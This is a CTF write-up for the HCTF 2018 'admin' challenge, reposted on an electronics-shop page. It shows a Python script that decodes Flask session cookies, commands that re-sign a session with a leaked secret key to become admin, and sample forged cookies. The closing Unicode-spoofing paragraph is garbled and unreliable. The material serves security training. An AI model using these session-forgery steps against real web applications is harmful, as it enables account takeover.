锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

flask session伪造之hctf admin

时间:2023-11-26 21:37:02 接近开关移位传感器vlg10

知识点:

flask的session是存储在客户端cookie中的,而且flask只签名数据。众所周知,签名的作用是防篡改,不能防止被读取。flask因此没有提供加密操作session所有内容都可以在客户端读取。还有一些session存储在数据库或服务器中的文件。

关于只有admin才能读取flag 我们可以伪造这个话题session伪造身份;

步骤如下:

伪造代码:下载地址:https://github.com/noraj/flask-session-cookie-manager

1.先得到网站session值,F12 cookie在里面得到,然后将session解密:网上有很多解密脚本;这里我的是:

#!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode  def decryption(payload):     payload, sig = payload.rsplit(b'.', 1)     payload, timestamp = payload.rsplit(b'.', 1)      decompress = False     if payload.startswith(b'.'):         payload = payload[1:]         decompress = True      try:         payload = base64_decode(payload)     except Exception as e:         raise Exception('Could not base64 decode the payload because of '                          'an exception')      if decompress:         try:             payload = zlib.decompress(payload)         except Exception as e:             raise Exception('Could not zlib decompress the payload before '                              'decoding the payload')      return session_json_serializer.loads(payload)  if __name__ == '__main__':     print(decryption(sys.argv[1].encode())) 

代码可以放在从https://github.com/noraj/flask-session-cookie-manager 下载来的session伪造加密代码文件cmd使用

使用方法:python session解密.py session值

例如 :

>python session解密.py eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.XyZ3Vw.OcD3-l1yOcq8vlg8g4Ww3FxrhVs

结果:

2.解密session伪造需要密钥,所以我们需要找到它的密钥来伪造:通常是伪造admin,将用户名改为用户名admin

使用方法:这flask伪造通常使用伪造加密和解密encode ,

语句:python flask_session_cookie_manager3.py encode -s "密钥" -t "session解密结果(更改用户名)"

例如

python flask_session_cookie_manager3.py encode -s "woshicaiji" -t "{'username': b'admin'}"

3.伪造后的session重新输入cookie;

HCTF admin 为例:

首先我们随便注册一个账号密码,在改密码界面的源码中可以得到提示,有用的源码在提示中;

这个问题看到的源代码需要从给出的提示中找到,具体过程参考其他wp,反正拿到下载路径后,先看路由route 虽然这个问题里什么都没有;

参考:BUUCTF [HCTF 2018]admin 1_wow小华的博客-CSDN博客

1.session 复制:解密session;

python session解密.py .eJw9kMGKwkAMhl9lydmDrfUieFmmWyokpVIdJhdRW52mHXepSrXiu--sCx5yyffz_SQP2By66mxhdumu1Qg2dQmzB3zsYAYoaU8JO0zSidHccrKKSOfjrGh6lP3AOr8ZySNWq5CGZoIO71nCFoeFIzFTlnXNydJSkgY4lK3P9KzTkIo4ILcQktKSxBFJGpnC3EjF90xjkOl0IPVpjcRTP76vbLLCCqnS-pxnec8q7llYjNiWnZnDcwT7c3fYXL6b6vQ-gYr85iun5OK7CfMIw2WLxT7EP4UsLMra-V2NqgnYrSVTX0L9_KWr3fZYvU2m_dF0_CenrfMAgnACI7ieq-71NQjG8PwFEfNsnQ.YsLkGA.-IhgD3h5Rju-WwMa4YbLJO69j6I

得到:

{'_fresh': True, '_id': b'2204ff0b7afede85d4990273ed1b48d567972c28fa32f669f5bdda4b537e790eb65156bc67a618628a614129c59b340ab19b1497d98c47aa63440d10f6cb8eff', 'csrf_token': b'541eb96a2cd83de176040f2a25f3db095fec81c7', 'image': b'bZV6', 'name': '123', 'user_id': '10'}

将其中的name值123 改为admin 之后 伪造;

密钥在这里config.py 中;

2.直接伪造:

python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'2204ff0b7afede85d4990273ed1b48d567972c28fa32f669f5bdda4b537e790eb65156bc67a618628a614129c59b340ab19b1497d98c47aa63440d10f6cb8eff', 'csrf_token': b'541eb96a2cd83de176040f2a25f3db095fec81c7', 'image': b'bZV6', 'name': 'admin', 'user_id': '10'}"

python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'2204ff0b7afede85d4990273ed1b48d567972c28fa32f669f5bdda4b537e790eb65156bc67a618628a614129c59b340ab19b1497d98c47aa63440d10f6cb8eff', 'csrf_token': b'541eb96a2cd83de176040f2a25f3db095fec81c7', 'image': b'bZV6', 'name': 'admin', 'user_id': '10'}"

结果:

.eJw9kMGKwkAMhl9lydmDrfUieFmmWyokpVIdJhdRW52mHXepSrXiu--sCx5yyffz_SQP2By66mxhdumu1Qg2dQmzB3zsYAYoaU8JO0zSidHccrKKSOfjrGh6lP3AOr8ZySNWq5CGZoIO71nCFoeFIzFTlnXNydJSkgY4lK3P9KzTkIo4ILcQktKSxBFJGpnC3EjF90xjkOl0IPVpjcRTP76vbLLCCqnS-pxnec8q7llYjNiWnZnDcwT7c3fYXL6b6vQ-gYr85iun5OK7CfMIw2WLxT7EP4UsLMra-V2NqgnYrSVTX0L9_KWr3fZYvU2m_dF0_CenrfMAtqWrTzCC67nqXn-DYAzPX_3EbhA.YsLnVA.f91nHdCGekSIwqWqz9T9cba5tkA

3.重新输入上述结果cookie中的session ,刷新;可见flag;

通过代码审计,还可以看到函数的漏洞:

Unicode欺骗

strlower()欺起的欺骗,参考

HCTFadmin--关于flasksession的伪造和unicode的欺骗_Z3eyOnd的博客-CSDN博客

就是说通过查询Unicode例如,A的特殊编码 ,如果我们注册,如果我们注册的话dmin ,函数会使函数 解析为A;更改密码或登录将A分析为a;从而达到目的;

还有一种就是条件竞争;参考上链接;

锐单商城拥有海量元器件数据手册IC替代型号,打造电子元器件IC百科大全!

相关文章